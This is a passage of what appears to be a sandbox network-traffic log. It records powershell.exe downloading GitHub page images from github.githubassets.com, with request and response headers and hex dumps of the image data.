2024-09-30 13:50:48 UTC	16384	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 1a 00 00 03 e0 08 03 00 00 00 6a 22 30 5c 00 00 01 f8 50 4c 54 45 00 00 00 25 25 25 14 14 14 0f 0f 0f 0b 0b 0b 09 09 09 06 06 06 07 07 07 06 06 06 04 04 04 05 05 05 03 03 03 04 04 04 04 04 04 04 04 04 02 02 02 03 03 03 03 03 03 02 02 02 02 02 02 03 03 03 03 03 03 03 03 03 03 03 03 02 02 02 03 03 03 01 01 01 03 03 03 03 03 03 02 02 02 02 02 02 3f 3f 4e 34 34 41 2e 2e 39 3a 3a 49 38 38 44 3c 3c 4b 24 29 2f 30 36 3d 33 38 3f 3a 3f 47 28 2d 33 2b 30 37 38 3d 45 26 2c 32 ff ff ff 37 3c 43 2a 2f 36 28 a7 45 35 3a 41 42 42 53 30 35 3b 32 37 3e 6e 76 81 2e 33 39 40 46 4e 36 3b 42 25 2a 30 92 94 97 5c 63 6d 44 4b 53 49 50 58 3f 44 4a 57 5e 68 65 6c 77 2c 32 38 2f 34 3b 3c 42 49 55 5c 65 46 4c 55 3d 43 4a 4d Data Ascii: PNGIHDRj"0\PLTE%%%??N44A..9::I88D<<K$)/06=38?:?G(-3+078=E&,27<C/6(E5:ABBS05;27>nv.39@FN6;B%0\cmDKSIPX?DJW^helw,28/4;<BIU\eFLU=CJM
2024-09-30 13:50:48 UTC	16384	IN	Data Raw: 9c 2d 3c 6f 66 1e bc 29 3e 39 27 38 85 ed 23 23 2b b4 1b c8 f1 f6 36 3a 91 96 d4 e8 41 c9 24 ff 55 ae a6 4d 4d 74 aa 81 6d da e8 21 19 a3 c5 a3 d0 d8 9b 96 29 46 a2 3b e3 47 4a 32 33 29 63 ae 1a ec 0e 1e 57 7a 01 87 96 3b f3 56 74 e7 79 53 c8 93 c0 2b d3 6c 4c 00 2e 86 37 db cd 69 01 a7 7e 05 e5 64 7b ec c2 bf d1 58 fb 63 d1 78 be 03 14 ea 5a 60 76 2a b1 86 4b 78 4d 16 55 17 b3 a4 a9 59 d2 90 1c 8a 98 37 05 5d cc 48 b6 f2 bc bc 61 90 9d 99 a6 d3 69 5a bb ca e6 2b af 72 30 33 de 99 cd b6 21 31 33 e7 77 59 69 46 03 f4 2b 24 b8 04 00 ff 4b 0a 69 8c fe 3d 7a f7 d3 67 5c ef bc 8f fe c1 7a ee de 19 f5 0b cf 9f dc 0c 73 ef e6 9d 87 27 d4 f0 1c ea 27 40 e3 d8 e9 fa fe 54 ac 67 54 3b 39 a7 62 19 f7 1e 81 46 fb 97 1e b5 63 1d 00 37 8f d6 9f 8c 46 55 a2 4e 0f 05 71 Data Ascii: -<of)>9'8##+6:A$UMMtm!)F;GJ23)cWz;VtyS+lL.7i~d{XcxZ`v*KxMUY7]HaiZ+r03!13wYiF+$Ki=zg\zs''@TgT;9bFc7FUNq
2024-09-30 13:50:48 UTC	16384	IN	Data Raw: 96 1c 37 bd d7 19 25 d8 f2 88 b7 b3 7c a4 44 e9 8e 99 60 e9 ef 1d 89 ce 99 38 62 03 ba 4f 06 bc 37 f4 ca dc 65 81 c0 d0 d8 b8 74 68 dc c6 1d 28 14 8d 6b bc 0b 4a 19 86 66 b3 8b bc 28 8b f9 31 91 96 ba 95 67 9e 6c 6b 75 41 a3 22 79 4c 55 a6 31 eb 44 56 46 d3 ba 29 2d fb 2a b7 69 2c d3 34 ad e3 c9 81 65 d4 2d 76 5f f8 eb 3e fa 45 d7 30 ad b5 8a 9b c8 a7 93 b3 49 0f 6c 5d 58 c5 2d b5 b8 d5 b0 72 44 2b f7 cb d2 73 33 bc 62 ee f5 da 35 59 1b ab e7 85 92 f0 d1 87 ef 7d be f9 f8 bb af be f9 99 a2 f1 a7 cf be f9 f0 c7 5f e7 9b 5f be fe 14 fe 8f 7a cd 37 0a de 3f a1 be 8f c6 d7 1f c3 08 cf 80 c6 48 1c 8f 5f e8 87 4c 94 5e 8d 46 65 9a 35 81 28 a9 ba 75 7e 8c 46 03 91 cc 95 24 c5 50 aa fa 24 2c 96 72 cc de 7f 37 bb b3 b3 1c a9 95 15 01 1a 09 5a b0 91 fa c8 9a 79 60 Data Ascii: 7%\|D`8bO7eth(kJf(1glkuA"yLU1DVF)-*i,4e-v_>E0Il]X-rD+s3b5Y}__z7?H_L^Fe5(u~F$P$,r7Zy`
2024-09-30 13:50:48 UTC	16384	IN	Data Raw: 1b 82 53 6c 7c 47 1a 85 81 a7 30 8b 28 e9 1a 06 39 42 3d b9 2f ec af 06 f2 da b0 fa cd b6 ae 51 1a fd cd 9c 1c 51 c7 e6 8d 90 5f fd 4a a3 04 a1 c6 64 04 ce d9 cb 40 a9 7d 08 ce 92 9f 68 90 43 93 9e 81 47 5d 1d 03 a4 e8 f7 49 23 8d 74 41 99 ad 8a 83 c9 2d 82 c8 0e 9a b2 31 75 60 02 ac 5a fc ca b6 85 45 fa 74 5a d2 43 7b a5 31 6d 58 67 13 80 d0 cc 34 a8 30 ea 80 35 56 55 59 cf 6f 5c dd 10 62 8c f0 c2 0f a7 3d 0a 0f 5b 64 af 70 a9 a3 7a 55 a2 27 b5 34 b6 c6 66 dd 5f 6b 6e 76 2c 87 ba 85 47 00 2b 9e 79 38 f8 1f 8c a1 86 8a 42 c4 0c 83 ca 35 83 73 72 b7 16 0c 59 4b a3 11 e9 5a b3 c4 08 2b 94 36 7a e5 69 35 d4 80 bf 74 3a 6d 60 03 ab 59 87 e0 40 57 90 3a 17 aa 35 14 72 04 a5 b1 2b 3b c0 48 e3 49 2e 6b 23 4c 2f 99 85 81 c2 05 7c 1b 7c ad 8d 11 a7 ad 26 b8 60 eb Data Ascii: Sl\|G0(9B=/QQ_Jd@}hCG]I#tA-1u`ZEtZC{1mXg405VUYo\b=[dpzU'4f_knv,G+y8B5srYKZ+6zi5t:m`Y@W:5r+;HI.k#L/\|\|&`
2024-09-30 13:50:48 UTC	16384	IN	Data Raw: 0a aa 4f 6c cd d0 c1 88 69 b1 07 87 bc 38 b3 68 c1 69 b7 10 14 24 6e db 44 87 1a 8a d3 1e b0 e9 09 65 90 6c 7a 34 2a 79 45 dd 47 a3 fa 78 85 91 14 ec 33 6a 87 51 36 3e 6b 65 30 86 67 d6 8b c3 7c 1c eb a2 44 4d 3e c5 84 95 62 26 53 34 72 d4 66 91 05 da 33 c5 31 27 22 1a 26 8e 8d 06 10 54 c6 b0 25 4a cc eb be 0b ce 53 c0 26 86 9e 5a a2 93 28 1a e9 09 fa c3 8a c7 0e 99 d0 b5 a7 a8 61 2c 72 d4 84 61 00 f7 52 96 7d 8f 9b c3 50 57 74 9e b5 49 5b 1d 83 c1 18 fd 33 52 c6 d7 ef 7d fd ec a3 6b 1d fd 97 75 31 a1 7e f0 01 08 8c 8c a0 8b 5f c3 3c 94 6b 7c fb d1 d0 88 ae e6 6e 04 9b 32 5b cb 98 5d 5d d3 a5 03 63 76 42 23 1e 85 f6 94 bf 44 a3 ee cf 5d 62 d0 92 48 9a 19 ab 55 7e f3 d9 f5 2d db a6 b9 2a 4e 08 b5 2c 9d 9e 92 f8 26 86 62 16 4f 47 a9 32 b9 5e ea be 1d 1a c3 Data Ascii: Oli8hi$nDelz4yEGx3jQ6>ke0g\|DM>b&S4rf31'"&T%JS&Z(a,raR}PWtI[3R}ku1~_<k\|n2[]]cvB#D]bHU~-N,&bOG2^
2024-09-30 13:50:48 UTC	6853	IN	Data Raw: b4 f9 01 2e a1 87 35 bc af 69 04 51 22 5d 03 70 0d 8a 51 af db 52 ee 9b 29 02 b3 7b 19 73 6a 88 39 fa 21 64 87 5a 0e d0 c3 01 b6 4d 8e 46 ae 0e 8d fd d1 f0 70 bc 51 11 17 d8 c9 8c a9 1a 84 f7 47 97 56 2a 48 a0 2b 41 9f f1 a2 be 4d 50 18 b1 54 75 86 29 1a d3 5d 5d 82 73 5c 13 d9 66 e5 cf 21 74 eb 40 45 fc 95 7f f4 6f e1 2d 68 74 da fa 65 bd 18 a5 0a eb 9a 1a d6 87 3e 13 ff 28 8c 56 7e 55 8f fc b3 18 64 e4 9d ca ba 84 1e b1 5d a2 41 36 d2 64 d6 c3 46 9f dc a5 b0 46 2e 94 0a 0e d6 da 1a 8a 29 59 31 6e 39 5a 55 5d a7 93 bc 95 7b f4 69 13 0c 01 ef cb 6a b1 20 60 a3 13 a0 c7 54 30 79 5d 93 b1 f0 da 9b df bc ca f4 de 07 6f 89 08 bd f6 f6 bf 33 e4 78 39 68 ec 57 61 7e 66 5f 23 85 e3 43 4f 6c 04 32 9e cf a8 1f 09 8d ab 58 19 0e c7 d6 fe 28 c9 0f a0 51 3f 94 89 22 Data Ascii: .5iQ"]pQR){sj9!dZMFpQGV*H+AMPTu)]]s\f!t@Eo-hte>(V~Ud]A6dFF.)Y1n9ZU]{ij `T0y]o3x9hWa~f_#COl2X(Q?"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49798	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:48 UTC	366	OUT	GET /assets/illu-codespaces-1d2d17e8b2b7.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:48 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86803 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D597553EB3" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2929967 Date: Mon, 30 Sep 2024 13:50:48 GMT X-Served-By: cache-iad-kiad7000125-IAD, cache-ewr-kewr1740032-EWR X-Cache: HIT, HIT X-Cache-Hits: 8101, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 89fd414d0ade6ffee38e08e35812ef22dcb0ac70
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b8 00 00 03 7a 08 03 00 00 00 ba fc 00 55 00 00 02 fd 50 4c 54 45 00 00 00 11 11 11 04 04 04 05 05 05 0a 0a 0a 07 07 07 05 05 05 2d 34 39 2c 34 39 2e 34 3a 39 40 48 2f 34 3b 3a 42 4a 20 23 29 04 0c 1e 29 2e 35 2d 32 39 18 1c 20 33 39 40 39 3f 47 27 2b 31 22 26 2b 05 0e 23 0e 0e 22 10 12 29 26 28 2d 17 1d 45 0f 10 26 1f 28 5f 11 13 2d 14 18 3a 20 29 63 11 15 31 21 2b 68 3b 43 4b 12 17 36 16 1a 3d 19 21 4e 1c 24 56 17 1b 41 3a 3c 9d 2c 36 81 1d 26 5b 34 38 8f 2a 33 7c 35 39 93 23 2e 6c 30 2d 30 38 3b 95 31 33 84 3f 40 ad 29 32 78 32 35 8a 16 1f 4a 32 39 8b 38 3b 99 2e 31 80 27 31 74 29 2c 70 4b 5c e5 20 23 58 25 30 70 26 29 68 2f 37 86 1a 22 53 0d 0d 1e 46 56 e5 2c 2f 7a 2b 2d 75 23 25 5e 38 3c 41 16 Data Ascii: PNGIHDRzUPLTE-49,49.4:9@H/4;:BJ #)).5-29 39@9?G'+1"&+#")&(-E&(_-: )c1!+h;CK6=!N$VA:<,6&[48*3\|59#.l0-08;13?@)2x25J298;.1'1t),pK\ #X%0p&)h/7"SFV,/z+-u#%^8<A
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: 6b bc 31 d6 9c e9 cb c9 f5 cb 20 01 95 88 80 61 c4 29 0b 92 db fe ca 0f 39 74 78 6b b6 ac b9 bc 24 d6 0a df 68 e8 21 93 d5 f8 1b ff 39 f0 d7 d2 0f ad d9 45 ec 44 24 60 b8 ca 13 a1 45 9c 29 2b db 22 57 b0 49 78 34 b8 e4 6c 45 25 c2 92 d3 f2 28 2d 95 ad 78 fa 52 79 85 17 d5 f8 1b ff 77 f1 5f f0 87 de 25 e8 73 80 a4 09 5d b2 87 b4 34 3e 41 25 b9 a1 ee 09 10 22 1a 15 09 55 46 4b 15 13 74 78 8c 48 59 d7 bb 46 f0 91 54 4c 92 8d bf f1 9f 03 ff d6 ff 92 3f 5b 2c 31 f8 10 44 cf 0d 56 92 ae a7 1c 8f e1 65 78 4e 34 5b d3 d5 86 35 84 f4 99 2f f3 e9 8b b3 10 89 78 af 60 11 b9 a6 50 6a fc 8d ff d3 f8 57 df d4 3a 7c 11 83 99 d0 87 1c 08 9a 33 1d 19 70 a6 49 1b 62 2d 71 95 7a 99 91 6f dc d0 c2 00 04 ee 87 b3 f4 62 38 f0 ca 53 7f 4b c5 c0 8d bf f1 7f 11 7f f1 e7 4a cf 31 Data Ascii: k1 a)9txk$h!9ED$`E)+"WIx4lE%(-xRyw_%s]4>A%"UFKtxHYFTL?[,1DVexN4[5/x`PjW:\|3pIb-qzob8SKJ1
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: 2e df 78 19 7b b6 e7 16 4b 1f 2a 0e 33 4e 9c a6 e9 d3 97 92 7f f2 bf 0a ff 12 1d f6 47 8d c9 82 4d e6 ff fa c6 4f 11 26 5a ee a5 5f b3 44 d1 7e ba 42 6f f3 37 e0 9e 35 6d 65 d0 ac 9b 39 f4 be 20 f9 27 ff 50 fc cb 65 60 6d 03 74 01 27 34 86 72 78 8c 4a 60 ff 8c 2d 44 e0 9e a1 ac 51 1e 99 8f 68 ad 30 41 36 65 51 97 b2 53 8d 55 45 92 7f f2 7f 0b 7f 13 fe 57 e9 71 31 6a 85 a8 9f 84 45 a1 1f 04 81 39 2a 6e 0f 67 90 9e 19 28 ea 50 cb d1 fa e2 52 f3 d3 84 a4 d4 22 25 bd f8 1b 79 b5 58 f5 70 a9 05 02 b1 14 47 9d 76 f9 93 2c f9 ff bf fc 5f f3 7f 6d 8d af 75 ab 28 30 19 f4 d2 65 4e 78 03 4b a7 8b ec 5f 0f 80 3a 93 c6 8a 2d d0 6c a0 ac 42 00 c3 82 a5 3f 2f 1d 40 b1 51 f2 36 ff bf 43 49 fe 1f c6 ff 45 ff 9f e3 8a 33 e7 4d d7 41 a2 d3 85 4e 5e 83 da 19 18 20 be 38 2d Data Ascii: .x{K3NGMO&Z_D~Bo75me9 'Pe`mt'4rxJ`-DQh0A6eQSUEWq1jE9ng(PR"%yXpGv,_mu(0eNxK_:-lB?/@Q6CIE3MAN^ 8-
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: 04 28 1d 0a e2 86 7a 5c bc 27 f9 27 ff f7 f3 47 15 b5 e1 b2 41 a0 cb d5 05 e3 b7 be 47 74 1f f2 d8 83 bf 0e 48 90 58 92 a3 27 c4 df cc 01 a4 2c c9 81 39 e5 6a 48 26 f4 6a 66 74 94 db b4 7a 99 5d 5d d5 93 7f f2 7f 3f ff fb 5f f4 1e d7 b0 76 22 1b a6 ca ef 4c e0 aa 6d b3 33 ab 98 33 86 d8 8d 42 f8 26 a1 39 64 3d eb a3 35 be 9a ae 65 6a ca ae 42 ba ed 9a 20 0e 40 ba 41 a2 f0 26 dd 40 02 6d 84 4f e5 76 1e 8d 58 ab 03 f5 21 32 f9 27 ff 40 fc 4b 40 98 8e 6f e9 62 64 fd ad 9f e5 f2 89 c3 e7 d4 96 b7 87 3a 7c a8 36 69 c0 33 9c 8c 0f 75 f1 b6 45 1c f7 f8 05 ce 40 7a 8e d7 95 15 89 f0 2f e0 c6 23 7a d4 58 21 50 d9 0b 33 fc f9 84 e4 9f fc 83 f0 ff 85 12 1f d3 05 60 77 e7 cb 6f bc ad ea c6 0c f1 05 2c d2 42 02 62 44 4f e0 49 d4 65 e6 fd 92 5f cf 9a fc 93 7f 38 fe 25 Data Ascii: (z\''GAGtHX',9jH&jftz]]?_v"Lm33B&9d=5ejB @A&@mOvX!2'@K@obd:\|6i3uE@z/#zX!P3`wo,BbDOIe_8%
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: c9 9f 46 fe 87 24 86 cb d9 30 1e 12 5d df 6b 63 c0 c2 89 9a e3 7f 14 d7 97 55 f7 d0 8b 6b 44 a8 6f 8b 93 05 1e 85 a8 89 82 e4 41 9f f0 21 a3 7b 24 65 29 a7 e7 4b 39 16 ce c5 49 e8 45 66 2b f9 4b fe 04 f2 67 e9 71 c5 c0 71 4b 3c 4f db a6 c3 a5 53 6f 1d 91 d9 9a 20 a6 e0 8a 12 35 15 b9 7b 84 ed f4 3e 42 36 72 4a 56 62 e8 4a d5 c8 c2 39 91 00 97 73 a7 86 85 56 a9 e2 d3 d6 b4 87 92 bf e4 4f 21 7f 4b 06 7d cb a7 19 f5 c3 ef 91 7d 46 f7 df 4a 14 9c ec 71 b9 db 16 2a 7a c2 97 e0 33 c7 c2 cf 3b b8 33 c3 50 ed 58 d9 28 f0 b4 1f 40 27 56 13 c5 46 6d e8 7d 64 26 df a8 8e a6 60 e7 6c 89 16 b3 ba a5 0f 3e aa b1 65 b2 8d 40 1e 3b bf 47 13 ac e4 2f f9 53 c8 df 92 a0 5b 20 ec c5 66 85 b3 da 1c 16 84 43 5c 82 53 3e 5b f4 73 51 34 ca 98 21 cd 82 34 98 68 10 b5 8d 80 e2 94 Data Ascii: F$0]kcUkDoA!{$e)K9IEf+KgqqK<OSo 5{>B6rJVbJ9sVO!K}}FJq*z3;3PX(@'VFm}d&`l>e@;G/S[ fC\S>[sQ4!4h
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: 70 0c 44 85 14 48 aa b6 2b 28 08 02 92 84 a5 15 91 cb c4 39 79 9a e4 a4 31 96 fc 25 ff 3f 94 1f 92 30 55 8f ab af 61 27 4e 97 ab d9 ea 70 a8 d5 d2 b1 79 01 7f 26 7a 2c 4e 24 ee 0a 43 a3 44 01 6c 6d 42 b1 b6 f6 b9 48 3a 0f ea fd 7d c4 b5 94 fc 25 ff 3f 90 5f 58 09 1f 15 f5 db d5 ec 22 9b c5 9c cd 87 83 38 cd c7 ef 55 c7 23 f3 98 2d ae ed 6f 28 17 3b f7 57 71 fe 00 dc 41 cf 97 2d f9 4b fe 74 f2 b7 34 b0 7e 16 84 5f d4 77 de 99 2d 3e ff 2a 2e 5c 51 87 2b 7e 4a c4 05 c2 34 5c 28 14 d2 a1 25 c4 b7 23 f4 f2 aa 4f 6c b7 c0 8f 5d e6 c7 b2 77 37 2d 83 55 28 64 46 4b 84 8e df fc 24 3a fb 00 e2 7d 1a 77 b8 ee e2 08 41 87 4b 47 e5 f9 5f a6 fa 5b 85 42 52 b4 e7 46 b7 c0 b1 30 5d 16 28 0e 99 87 cb c2 d5 68 dd cf 77 b8 a6 df 5b 59 ad 42 21 37 5a 1e f4 d5 90 e9 93 a2 42 Data Ascii: pDH+(9y1%?0Ua'Npy&z,N$CDlmBH:}%?_X"8U#-o(;WqA-Kt4~_w->*.\Q+~J4\(%#Ol]w7-U(dFK$:}wAKG_[BRF0](hw[YB!7ZB
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: 0d a5 c8 29 2e 98 98 f7 1e b9 f7 ba ef d8 2e 26 b0 06 aa ed 26 c3 64 03 ac 14 2c cb d0 4e 4a c5 51 66 05 9a 2a 17 81 63 ec e9 00 60 ee 01 1e 5b c3 54 e2 9d 9a d8 98 c4 84 18 fb 3c 29 53 20 34 83 2c 46 b5 44 47 ca 35 cf cc 05 dc 11 19 53 71 83 c0 87 88 4d 1f 28 42 4a c6 c7 91 e3 9c f6 e5 58 28 6c 29 01 66 4a e1 71 b5 f1 a1 3a 13 ae c9 b9 30 25 6d a4 54 2c 97 e4 72 aa d8 90 d9 5c 76 55 b3 c5 86 ad 24 37 42 58 e2 f1 91 52 84 23 bb d3 27 65 5d 28 94 1c e1 91 78 fb 64 6e af e3 ba df 97 7f 75 e8 7f 26 ae 2f 59 91 3b 8a 27 30 d7 89 12 f8 9d 1b c2 de f8 e8 58 bb 03 0e 61 e9 08 8c 1c 61 a4 1c 2a 21 8b 15 c3 11 bc f6 2c ae b5 54 9c b7 88 8c bd 16 17 9f 80 23 b9 e1 cc 96 7b e9 1e 9d c5 b5 96 8a ad 9b c5 e3 b5 b8 58 36 57 df 0a b0 98 6d 80 94 4d 88 89 4c 37 53 09 d5 Data Ascii: )..&&d,NJQfc`[T<)S 4,FDG5SqM(BJX(l)fJq:0%mT,r\vU$7BXR#'e](xdnu&/Y;'0Xaa!,T#{X6WmML7S
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: f1 a8 c6 1d 89 6a e3 ea c1 5a f3 ff 46 5c f7 ef 55 3c de e9 d0 67 dd 93 d5 89 3f 8a 0b 3a bb a0 f1 e2 3b 3a 13 07 f1 6c f0 21 d4 dc c6 6a 6f 26 7c 08 9f ed 36 48 39 c1 8f 68 4b 9e 88 0b 57 a4 fc 67 ea 50 73 ef 05 a9 b1 78 71 cd ff 77 cb cf d9 5c db 57 5f fe f5 74 88 3f c0 b7 4c dc c7 f8 18 71 cb c4 d6 ff e8 2c 43 c4 23 7e c2 cc 25 b0 67 8d 2b f6 a6 c0 1f 11 2d c9 3d d6 55 ef 7f cf 7f 76 1d d7 da a1 9f 7e b1 e5 ca 9e 6f bf f5 12 d7 c7 88 74 84 0f a3 76 7a 8b 0f 13 c6 b1 f7 f3 1c 64 31 e5 29 5c 11 78 0a 7f 86 8a e3 d7 6d a9 df f3 3f 96 8a 2f 5e e2 7a f1 e2 7f 14 d7 eb d1 cd 2f 71 7d 65 ef 8e 8d 00 04 61 00 8a a6 b4 f4 74 03 86 71 ff 91 ac a9 20 15 81 7b 6f 88 7f 09 7a 00 5b 85 cb 63 19 c2 05 c2 75 3a e1 82 f5 e1 b2 2a 0a 17 6c 17 2e 0f c2 0a 17 6c 17 2e 13 Data Ascii: jZF\U<g?:;:l!jo&\|6H9hKWgPsxqw\W_t?Lq,C#~%g+-=Uv~otvzd1)\xm?/^z/q}eatq {oz[cu:*l.l.
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: ef 73 96 0f 7b 11 ab 15 8a 2b 1a 60 c1 a2 d5 3e 66 8d 2f f4 60 e3 9f e2 5a a5 4b f9 3c a4 8c af d7 62 c1 50 5c 32 2e fc 3a 89 95 87 77 88 ab 41 5f 08 63 d0 10 a8 09 41 93 ee 06 2a 29 f8 24 2e 28 05 cf a1 e2 42 83 16 e8 87 06 05 57 a9 5f e2 4a d0 74 98 d1 d7 89 cb 2a 21 2a d0 fc 89 16 c8 21 c7 13 d4 12 35 e6 04 89 ab b4 e8 26 59 e5 82 3f a1 58 25 09 53 56 60 30 72 d8 72 0b c9 2f 71 61 77 b4 23 93 dc 40 4e 0d 63 9b 16 34 2d fe 80 f3 af 30 e3 fa 47 94 d9 c8 8c eb d5 c5 e2 fa 02 c3 f9 49 5c 1b f4 92 41 5d 39 af 30 57 63 54 79 bd 58 2c ec 20 d9 a2 5f 6d 9e f9 71 c6 65 c7 82 fc 30 e3 d2 be 62 4c 78 87 c9 61 f7 0e 71 19 28 46 03 48 5b e1 4f 91 4a 14 d7 13 46 87 1d 97 c0 9c b3 82 66 5c 54 e3 a6 e1 de 51 5c 12 28 73 1d 0a 9a f1 3c 1d 27 84 82 92 6b c8 a9 95 94 c4 Data Ascii: s{+`>f/`ZK<bP\2.:wA_cA)$.(BW_Jt!*!5&Y?X%SV`0rr/qaw#@Nc4-0GI\A]90WcTyX, _mqe0bLxaq(FH[OJFf\TQ\(s<'k
2024-09-30 13:50:48 UTC	1378	IN	Data Raw: 9b 0d c5 02 78 01 f5 3b 2a 03 19 41 b8 e2 b9 e9 99 4f 9b 8a e8 43 b8 fe d9 e2 0b a9 85 4b c1 f7 9f 0c 64 04 e1 8a c8 3e 30 b3 eb ba e6 22 5c 0f 86 8a 2f a4 16 2e 92 67 20 23 08 57 4c 75 eb f8 d1 f8 2e 5c 6e 6f 49 e0 13 fc 51 8f fc 68 b8 ef 08 43 ae 9c 20 5c 71 ed fc 65 b8 fa 2d d1 a2 70 a5 34 9c 57 b0 53 24 b2 06 b2 81 70 45 66 ee 4f ee 8e 66 7b 77 ba 37 74 56 2c 93 c8 d5 cd f2 a3 79 8c e7 33 83 70 45 57 af 6a 9a 99 75 45 93 df 35 e3 52 b1 de 7a 54 61 cd 95 0d 84 4b c2 af 9a 71 59 2d dd 22 ec 16 f3 81 70 49 48 3f 5c f6 99 8e 5d e2 8b aa b6 90 03 84 4b 42 f2 c3 79 0d 4f 11 21 67 25 c2 25 20 f9 15 17 c2 05 92 10 2e 29 c5 22 6a af 6e 46 b8 40 12 c2 25 23 f9 d7 21 10 2e 90 84 70 c9 c0 56 11 e0 0a 08 97 0c ac b8 00 ae 80 70 c9 c0 53 45 80 2b 20 5c 32 30 9c 07 Data Ascii: x;*AOCKd>0"\/.g #WLu.\noIQhC \qe-p4WS$pEfOf{w7tV,y3pEWjuE5RzTaKqY-"pIH?\]KByO!g%% .)"jnF@%#!.pVpSE+ \20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49799	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:49 UTC	368	OUT	GET /assets/illu-mobile-chat-9e7549906574.webp HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:49 UTC	662	IN	HTTP/1.1 200 OK Connection: close Content-Length: 204774 Cache-Control: public, max-age=31536000, immutable Content-Type: image/webp Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D597597FB2" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:49 GMT Age: 549288 X-Served-By: cache-iad-kiad7000020-IAD, cache-ewr-kewr1740068-EWR X-Cache: HIT, HIT X-Cache-Hits: 2568, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: d89847e611765817180306912d986a26cc02d75c
2024-09-30 13:50:49 UTC	16384	IN	Data Raw: 52 49 46 46 de 1f 03 00 57 45 42 50 56 50 38 58 0a 00 00 00 10 00 00 00 db 04 00 04 04 00 41 4c 50 48 b6 0b 01 00 01 cf a3 a8 6d 24 e7 b2 b3 ed 1a 7f c6 f7 3a 00 11 91 e3 6a 92 b9 74 0f 9a 04 b9 8c c3 c1 68 3e 32 5e 02 81 1b 07 62 db 36 82 24 c5 4a ff 4d 4f 66 b0 b9 ff 02 22 62 02 a8 ff 97 8c 04 a8 2a c3 47 b9 72 6a 53 9f 39 05 a2 2e 8c 8c d1 3c f3 1a 3d 42 a0 3e 7c b9 c2 96 ea 91 84 0f 1e 73 05 ac 15 5f 59 b9 02 d4 8a 7d 06 12 56 12 8d a2 ba a3 89 51 7b ad af 4b 33 84 5a 71 3c c2 4a 86 79 67 94 24 ec f4 a3 3b 33 0d b5 62 3f ba 12 5f d7 a2 fc 40 cf 81 9d 19 a0 76 fa 9a b0 e3 0c 6b 7d 75 69 26 50 3f c1 9f c3 db 6d 4b 8a 24 d9 b6 b5 98 99 d7 9a aa 09 11 05 11 05 89 6d 45 2d 5e b9 72 33 33 e7 a7 45 9b 19 e3 ef bb 8a 4c 11 35 d7 9c a9 6d cb 86 88 fe 7b a3 6d Data Ascii: RIFFWEBPVP8XALPHm$:jth>2^b6$JMOf"b*GrjS9.<=B>\|s_Y}VQ{K3Zq<Jyg$;3b?_@vk}ui&P?mK$mE-^r33EL5m{m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49800	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:49 UTC	358	OUT	GET /assets/shape-2-f30dcc9bd35c.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
